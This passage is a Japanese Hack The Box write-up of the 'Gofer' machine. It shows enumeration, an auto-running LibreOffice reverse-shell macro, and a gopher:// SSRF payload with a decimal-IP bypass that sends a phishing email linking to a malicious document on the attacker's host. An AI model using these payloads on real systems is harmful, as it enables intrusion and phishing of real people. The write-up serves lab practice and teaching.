【Hack The Box】Gofer【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Gofer___」にチャレンジした際のWriteupになります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
いつも通りrustscanします。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# rustscan -a 10.10.11.225 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.225:22
Open 10.10.11.225:80
Open 10.10.11.225:139
Open 10.10.11.225:445
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 09:40 EDT
Initiating Ping Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Completed Ping Scan at 09:40, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:40
Completed Parallel DNS resolution of 1 host. at 09:40, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Discovered open port 445/tcp on 10.10.11.225
Discovered open port 139/tcp on 10.10.11.225
Discovered open port 80/tcp on 10.10.11.225
Discovered open port 22/tcp on 10.10.11.225
Completed SYN Stealth Scan at 09:40, 0.21s elapsed (4 total ports)
Nmap scan report for 10.10.11.225
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-08-08 09:40:13 EDT for 1s

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 63
80/tcp  open  http         syn-ack ttl 63
139/tcp open  netbios-ssn  syn-ack ttl 63
445/tcp open  microsoft-ds syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

```
22、80番といつものPortが開きつつ、SMBのPortも開いている。とりあえず80番を列挙しにかかる。
80にアクセスすると`gofer.htb`が解決できないといわれるので、`/etc/hosts`に登録しておく。

# Collection
## サイト探索
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://gofer.htb/ -H "HOST: FUZZ.gofer.htb" -mc all -fc 301 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gofer.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.gofer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 301
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5949ms]
    * FUZZ: proxy

[Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 176ms]
    * FUZZ: *

:: Progress: [100000/100000] :: Job [1/1] :: 837 req/sec :: Duration: [0:02:13] :: Errors: 0 ::
```
`proxy`のサブドメインがあるので、これも`/etc/hosts`に登録しておく。

### ディレクトリ探索
`dirsearch`を使用して探索を実施。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://gofer.htb/   

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                             
                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/gofer.htb/-_23-08-07_23-30-31.txt

Error Log: /root/.dirsearch/logs/errors-23-08-07_23-30-31.log

Target: http://gofer.htb/

[23:30:32] Starting: 
[23:30:38] 403 -  274B  - /.ht_wsr.txt                                     
[23:30:38] 403 -  274B  - /.htaccess.bak1
[23:30:38] 403 -  274B  - /.htaccess.sample
[23:30:39] 403 -  274B  - /.htaccess.orig
[23:30:39] 403 -  274B  - /.htaccess.save
[23:30:39] 403 -  274B  - /.htaccess_extra                                 
[23:30:39] 403 -  274B  - /.htaccess_orig
[23:30:39] 403 -  274B  - /.htaccessBAK
[23:30:39] 403 -  274B  - /.htaccess_sc
[23:30:39] 403 -  274B  - /.htaccessOLD                                    
[23:30:39] 403 -  274B  - /.htaccessOLD2
[23:30:39] 403 -  274B  - /.htm
[23:30:39] 403 -  274B  - /.html
[23:30:39] 403 -  274B  - /.htpasswds
[23:30:39] 403 -  274B  - /.htpasswd_test
[23:30:39] 403 -  274B  - /.httr-oauth
[23:30:41] 403 -  274B  - /.php                                            
[23:31:16] 301 -  307B  - /assets  ->  http://gofer.htb/assets/             
[23:31:16] 200 -    2KB - /assets/                                          
[23:31:44] 200 -   29KB - /index.html                                       
[23:32:17] 403 -  274B  - /server-status                                    
[23:32:17] 403 -  274B  - /server-status/
                                                                             
Task Completed   
```
サブドメインの方も列挙しておく。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://proxy.gofer.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/proxy.gofer.htb/-_23-08-07_23-39-15.txt

Error Log: /root/.dirsearch/logs/errors-23-08-07_23-39-15.log

Target: http://proxy.gofer.htb/

[23:39:17] Starting: 
[23:39:28] 403 -  280B  - /.ht_wsr.txt                                     
[23:39:28] 403 -  280B  - /.htaccess.bak1                                  
[23:39:28] 403 -  280B  - /.htaccess.orig
[23:39:28] 403 -  280B  - /.htaccess.sample
[23:39:28] 403 -  280B  - /.htaccess.save
[23:39:28] 403 -  280B  - /.htaccess_extra
[23:39:28] 403 -  280B  - /.htaccessOLD
[23:39:28] 403 -  280B  - /.htaccessBAK
[23:39:28] 403 -  280B  - /.htaccess_sc
[23:39:28] 403 -  280B  - /.htaccess_orig                                  
[23:39:28] 403 -  280B  - /.htaccessOLD2
[23:39:28] 403 -  280B  - /.htm
[23:39:28] 403 -  280B  - /.html
[23:39:28] 403 -  280B  - /.htpasswds
[23:39:28] 403 -  280B  - /.htpasswd_test
[23:39:28] 403 -  280B  - /.httr-oauth
[23:39:30] 403 -  280B  - /.php                                            
[23:40:36] 403 -  280B  - /server-status                                    
[23:40:36] 403 -  280B  - /server-status/
                                                                             
Task Completed
```
特段いいものは見つからない。
Proxyのサブドメインを与えておいて何もないのは気がかりなので`FFuF`で`-mc all`オプションを使い、詳細に探っていく。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./directory-list-2.3-medium.txt:FUZZ -u http://proxy.gofer.htb/FUZZ.php -mc all -X POST -fs 277 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://proxy.gofer.htb/FUZZ.php
 :: Wordlist         : FUZZ: /root/work/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 277
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1253ms]
    * FUZZ: # Copyright 2007 James Fisher

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1846ms]
    * FUZZ: # directory-list-2.3-medium.txt

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2002ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2235ms]
    * FUZZ: #

[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 2237ms]
    * FUZZ: 

[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 2510ms]
    * FUZZ: index

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2517ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2554ms]
    * FUZZ: # license, visit http://creativecommons.org/licenses/by-sa/3.0/

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2587ms]
    * FUZZ: # Priority ordered case-sensitive list, where entries were found

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2862ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 3264ms]
    * FUZZ: # This work is licensed under the Creative Commons

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5241ms]
    * FUZZ: # Suite 300, San Francisco, California, 94105, USA.

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5503ms]
    * FUZZ: # Attribution-Share Alike 3.0 License. To view a copy of this

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5540ms]
    * FUZZ: # or send a letter to Creative Commons, 171 Second Street,

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5548ms]
    * FUZZ: # on at least 2 different hosts

[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 175ms]
    * FUZZ: 

:: Progress: [220560/220560] :: Job [1/1] :: 114 req/sec :: Duration: [0:07:39] :: Errors: 256 ::
```
あれ、`index.php`あるじゃないですか！

### ブラウジング
実際にブラウザでアクセスしてみた。その際のBurpの情報を確認してみる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/46cd7b9a-fd6a-8e11-b6cb-244673eec9ad.png)
ほう？urlのパラメータがないと言っているのでつけてみる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/46961f1a-30bc-7650-fa3b-99654b9903e8.png)
`Gofer Proxy`？？？いや、URLを送付する流れと名前から考察するに`Gopher`を使うSSRFかな？？
SSRF嫌いだから不安だなぁ...
まぁ、あと調査していないPortがあるのでそっちも調査しておく。

## SMB
例のごとくsmbclientで探索します。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N -L \\\\gofer.htb                     

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```
`shares`の階層に突撃できそうなので突撃してみる。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N \\\\gofer.htb\\shares
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Oct 29 04:32:08 2022
  ..                                  D        0  Fri Apr 28 20:59:34 2023
  .backup                            DH        0  Thu Apr 27 21:49:32 2023

                5061888 blocks of size 1024. 1586552 blocks available
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
getting file \.backup\mail of size 1101 as .backup/mail (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \> exit
```
ファイルを発見したので全て取得する呪文を唱えると、`mail`のファイルをゲットした。
中身を確認してみる。
```text
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
```
`Jocelyn`がPhishing MailやっちゃったとかLibreoffice使ってるとかそれっぽい情報が見えてくる。
マクロ付きのMailを送ってリバースシェル待つパターンかな？？GopherのSSRFにSMTPのプロトコルがあったはずなのでそれを利用すると予想。

1年前にやったFollinaのBoxはぶっ壊れてたのでちょっと不安だなぁ。

# Initial Access
## Exploit考察
さっきの情報たちから「GopherのSSRF経由でJocelynにフィッシングメールを送信し、LibreofficeのMalcious Macroを実施させる」といった攻撃ベクトルを思いつくはずだ。注意点としてはGopherで直接Libreofficeを送れないので、こちらでLibreofficeを配信するC２サーバを立てておき、Phishing Mailにはそのリンクを添付すると言ったベクトルにしないといけないことだ。

さて、攻撃のために必要な準備は以下の３点であろう！
+ 送信先アドレスの把握
+ Malcious Macroの作成（Libreoffice）
+ Gopherの初期送信ペイロードの作成

## Mail Address
送信先の情報を収集する。SMBから見つけたJocelynにメールを送りたいので、その情報を探すのだ！
そうすると、`gofer.htb`のサイトにいい情報を発見する。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/25dc99a6-79df-7b9b-e6e4-1c491a8e6b80.png)
SMBで見つけたMailファイルの送信者だと考えられる。みた感じ、メールアドレスの構成は`First Nameの頭文字`+`Last Name`だと予想できる。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/82ee3b48-d16e-1116-b16b-da99928b4d9d.png)
Jocelynも見つけたのでこの人のMailAddressは`jhudson@gofer.htb`と思われる！

## Malcious Macro File
### Code to Execute Shell
とりあえずReverse Shellを取るためのMacroを組まなければいけないのですが、Libreoffice初心者なもので、探すのに苦労しました。

https://help.libreoffice.org/latest/ja/text/sbasic/shared/03130500.html?DbPAR=BASIC

Shell関数なるものがあるみたいです。これは使えそうです。
後の構成や気をつける点（自動実行等）は大体VBAと似たようなもんでしょう。Macro付きLibreofficeを作っていきます。

### Libreoffice
今回はWriter（OfficeでいうWord）を使いました。適当にlolとテキストを入れておきます。これを`lol.odt`として保存します。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a357dc19-1467-630a-83bc-40dc1353dd52.png)
`Tool`の`Macros`から`Edit Macros`を選択。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/22e46d21-1044-bde1-8dae-5b43f3e7da15.png)
Macro編集画面が出てくるので、このodtファイルに`shell`という名前でマクロを作成します。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d1fd485f-5ad5-45fb-e045-f3d97e544043.png)
このマクロに先ほど調べた`Shell`関数を実装します。ReverseShellのコードはいつもの以下サイトを参考にします。

https://www.revshells.com/

![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4b67bcf7-74da-9817-b0b3-282d889d0a2e.png)
このマクロが開いた時に自動実行されるように設定します。`Organize Macros`から`Open Document`のイベントを選択しこのマクロを選ぶだけです！
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b6148717-8d40-9db1-39f9-cd8b5dd85ebb.png)
これでマクロは完成です！

## Gopher - SSRF
SSRFのペイロードを作成します。これには便利なToolのGopherusがあるので、紹介します。

https://github.com/tarunkant/Gopherus

上記Toolで簡易にPayloadが作れるのでやってみます。
```bash
┌──(root㉿kalimsi)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit smtp


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Give Details to send mail: 

Mail from :  taksec@example.com
Mail To :  jhudson@gofer.htb
Subject :  Important
Message :  <a href="http://10.10.14.32/lol.odt">File</a> is Important

Your gopher link is ready to send Mail: 

gopher://127.0.0.1:25/_MAIL%20FROM:taksec%40example.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:taksec%40example.com%0ASubject:Important%0AMessage:%3Ca%20href%3D%22http://10.10.14.32/lol.odt%22%3EFile%3C/a%3E%20is%20Important%0A.

-----------Made-by-SpyD3r-----------
```
Message部分にlol.odtのリンクを差し込んだPayloadができました！
kaliで待受側のサーバを立ち上げます。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# python3 -m http.server 80
```
続いてリバースシェルの待受も立てます。
```bsash
┌──(root㉿kalimsi)-[~/work]
└─# nc -lvnp 4444
```
よし、Proxyのサブドメインのurlクエリにさっき作ったSSRFのPayloadを叩き込んでみます。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/01bff97f-e468-1c2f-ff90-8bf91623f13c.png)
ん？`127`がBlacklist？？ならlocalhostで。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4575d91f-7a37-8997-2893-9390225d9fb9.png)
ダメか。
色々このBlacklistをバイパスできないか調査していたところ、以下のHackTricksの記事を参考にして、Decimal bypassを試してみたらとおった。

https://book.hacktricks.xyz/v/jp/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass

![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cf02d06e-8f55-358e-c707-086437c982f6.png)
だがSSRFが通ってそうには見えない。
HackTricksの記事を読み込んでみると、Gopherusではなく直書きでペイロードを作っている様子が記載されていたので自分も作ってみる。
※何かMailヘッダで漏れていると反応しないとかあったりするかもだし。

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#gopher

CyberChefさんでURLEncodeし、Payloadを作成する。

https://gchq.github.io/CyberChef/

![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5d5bd8e4-9862-9c4a-c53e-7cf5d50f4915.png)

![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5b4ee050-21cd-3057-9f9e-d7bfb83f8818.png)
ダメじゃん。２回Encodeしてみる？？
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f3fcd30c-9679-06e6-5fde-c275356364b5.png)
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a72d3451-7a22-49de-e492-3b323ddf6e15.png)
あ、いけた。でもでlol.odtファイルを取ろうとしてミスしたリクエストを送ってきて404になってる。
ちょいとリンクを調整します。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/18d047e9-300e-686f-dd1a-811969a0f7ae.png)
これを
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0153991f-020d-f904-e6f2-90b5c626ab5d.png)
こうだ！！`"`抜いてやったぞ！
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/17916e4a-70d1-0bec-e5e6-a41bca1a2320.png)
はい、来ました。最終的なSSRFのPayloadはこのようになりました。
```bash
gopher://2130706433:25/xHELO%2520jhudson%250AMAIL%2520FROM:%253Ctaksec@example.com%253E%250ARCPT%2520TO:%253Cjhudson@gofer.htb%253E%250ADATA%250AFrom:%2520%255Btaksec%255D%2520%253Ctaksec@example.com%253E%250ATo:%2520%253Cjhudson@gofer.htb%253E%250ADate:%2520Tue,%25208%2520Aug%25202023%252014:06:15%2520-0400%250ASubject:%2520Important%250A%250A%253Ca%2520href=%2522http://10.10.14.32/lol.odt%253EFile%253C/a%253E%2520is%2520Important%250A%250A.%250AQUIT%250A
```
でもReverse Shellが帰って来ません...
ええ...

## Reverse Shell
とりあえず帰ってくるまで試すしかないです。
### nc mkfifo
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9f18830e-ea84-c61e-b893-621383506012.png)
ダメ。
### sh -i
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4401c0c2-1b35-de9f-b18b-d96d896be627.png)
ダメ
### nc mkfifo sh ver
![22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6ec97a0d-131c-f593-50d8-e59c6a5e23d4.png)
ダメ
### busybox
![23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ca72fa6f-ade5-2a4b-ae8f-5e32f447b1e9.png)
![24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3207674d-497c-41c9-cd3b-d6d824c9e6cb.png)
いけました！！`busybox`で発火します。

## interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

python3でいつものptyさん呼び出して、`Ctrl+Z`で接続をバックグラウンドにし、以下のコマンドを実行する。
```bash
┌──(root㉿kalimsi)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.11.225] 43148
id    
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
python3 -c 'import pty; pty.spawn("bash")'
jhudson@gofer:/usr/bin$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                    
┌──(root㉿kalimsi)-[~/work]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm
jhudson@gofer:/usr/bin$ ^C
jhudson@gofer:/usr/bin$ 
```
これで足場は完成である。

# Privilege Escalation - Horizontal
何かいい情報がないかサラッと手動で列挙してみたが、いいものはなかった。
とりあえず出し惜しみなしでToolに頼っていこうと思う。
## pspy
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

https://github.com/DominicBreuker/pspy

```bash
┌──(root㉿kalimsi)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64  
```
実行する。
```bash
jhudson@gofer:/tmp$ chmod +x pspy64
jhudson@gofer:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/08/09 21:28:46 CMD: UID=1000  PID=21900  | ./pspy64 
2023/08/09 21:28:46 CMD: UID=0     PID=21863  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21862  | bounce -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21861  | error -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21860  | bounce -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21859  | error -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=1000  PID=21822  | bash 
2023/08/09 21:28:46 CMD: UID=1000  PID=21821  | python3 -c import pty; pty.spawn("bash") 
2023/08/09 21:28:46 CMD: UID=1000  PID=21814  | bash 
2023/08/09 21:28:46 CMD: UID=0     PID=21741  | 
2023/08/09 21:28:46 CMD: UID=1000  PID=21738  | (sd-pam) 
2023/08/09 21:28:46 CMD: UID=1000  PID=21737  | /lib/systemd/systemd --user 
2023/08/09 21:28:46 CMD: UID=33    PID=21654  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21653  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21652  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21651  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=106   PID=21481  | cleanup -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=21462  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21413  | pickup -l -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21279  | trivial-rewrite -n rewrite -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=21094  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21077  | cleanup -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=20910  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20907  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20504  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20418  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20347  | 
2023/08/09 21:28:46 CMD: UID=33    PID=11595  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6655   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6654   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6653   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6652   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6651   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=106   PID=4412   | tlsmgr -l -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=1509   | qmgr -l -t unix -u 
2023/08/09 21:28:46 CMD: UID=0     PID=1507   | /usr/lib/postfix/sbin/master -w 
2023/08/09 21:28:46 CMD: UID=0     PID=992    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=985    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=984    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=958    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=955    | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=0     PID=939    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/08/09 21:28:46 CMD: UID=0     PID=932    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/08/09 21:28:46 CMD: UID=0     PID=916    | /usr/sbin/nmbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=851    | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                               
2023/08/09 21:28:46 CMD: UID=0     PID=748    | /lib/systemd/systemd-logind 
2023/08/09 21:28:46 CMD: UID=0     PID=747    | /usr/sbin/rsyslogd -n -iNONE 
2023/08/09 21:28:46 CMD: UID=103   PID=744    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                                                                
2023/08/09 21:28:46 CMD: UID=0     PID=743    | /usr/sbin/cron -f 
2023/08/09 21:28:46 CMD: UID=0     PID=739    | 
2023/08/09 21:28:46 CMD: UID=0     PID=730    | 
2023/08/09 21:28:46 CMD: UID=998   PID=676    | /usr/local/sbin/laurel --config /etc/laurel/config.toml 
2023/08/09 21:28:46 CMD: UID=0     PID=672    | /usr/bin/vmtoolsd 
2023/08/09 21:28:46 CMD: UID=0     PID=671    | /usr/bin/VGAuthService 
2023/08/09 21:28:46 CMD: UID=0     PID=668    | /sbin/auditd 
2023/08/09 21:28:46 CMD: UID=104   PID=660    | /lib/systemd/systemd-timesyncd 
2023/08/09 21:28:46 CMD: UID=0     PID=639    | 
2023/08/09 21:28:46 CMD: UID=0     PID=539    | /lib/systemd/systemd-udevd 
2023/08/09 21:28:46 CMD: UID=0     PID=517    | /lib/systemd/systemd-journald 
2023/08/09 21:28:46 CMD: UID=0     PID=477    | 
2023/08/09 21:28:46 CMD: UID=0     PID=476    | 
2023/08/09 21:28:46 CMD: UID=0     PID=261    | 
2023/08/09 21:28:46 CMD: UID=0     PID=260    | 
2023/08/09 21:28:46 CMD: UID=0     PID=231    | 
2023/08/09 21:28:46 CMD: UID=0     PID=230    | 
2023/08/09 21:28:46 CMD: UID=0     PID=229    | 
